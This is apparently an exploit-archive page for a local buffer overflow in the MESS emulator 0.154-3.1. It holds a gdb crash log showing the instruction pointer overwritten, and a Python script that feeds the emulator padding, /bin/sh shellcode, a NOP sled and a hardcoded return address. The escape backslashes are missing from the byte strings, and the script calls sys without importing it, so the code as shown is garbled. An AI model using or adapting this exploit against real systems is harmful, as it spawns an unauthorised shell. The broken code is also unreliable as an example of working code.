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Mess Emulator 0.154-3.1 - Local Buffer Overflow

Posted on 30 November -0001

<HTML><HEAD><TITLE>Mess Emulator 0.154-3.1 - Local Buffer Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Author: Juan Sacco - http://www.exploitpack.com - <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="2248514341414d62475a524e4d4b56524341490c414d4f">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
# Program affected: Multi Emulator Super System (MESS)
# Version: 0.154-3.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Program description: MESS is an emulator for various consoles and computing systems, sharing a
# lot of codebase with the MAME project.
# Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb
# MD5sum: ae8650a6de842e6792ba83785ac0dbef
# Website: http://mamedev.org/
#
# gdb$ run -gamma $(python -c 'print "x41"*4080')
# Starting program: /usr/games/mess -gamma $(python -c 'print "x41"*4080')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
#
# Program received signal SIGSEGV, Segmentation fault.
#
#
--------------------------------------------------------------------------[regs]
#
#  EAX: 0x00000000  EBX: 0x72203B22  ECX: 0x00001024  EDX: 0xBFFFE094  o d I t S z a p c
#  ESI: 0x00001024  EDI: 0xBFFFE095  EBP: 0x00001024  ESP: 0xBFFFD038  EIP: 0x41414141
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
#
#
--------------------------------------------------------------------------[code]
#
# => 0x9684539: mov    esi,DWORD PTR [ebx+0x48]
#   0x968453c:  lea    edi,[ebp+esi*1+0x0]
#   0x9684540:  push   edi
#   0x9684541:  push   ebx
#   0x9684542:  call   0x96843b0
#   0x9684547:  add    esp,0x10
#   0x968454a:  test   al,al
#   0x968454c:  je     0x96845ad
#
#
--------------------------------------------------------------------------------
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#
# #1  0x41414141 in ?? ()
 
import os,subprocess
 
def run():
  try:
    print "# Mess Emulator Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP
 
    junk = "x41"*4084
    shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
    nops = "x90"*12
    eip = "xd1xf3xffxbf"
    subprocess.call(["mess",' ', junk + shellcode + nops + eip])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Mess emulator not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit Mess 0.154-3.1 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
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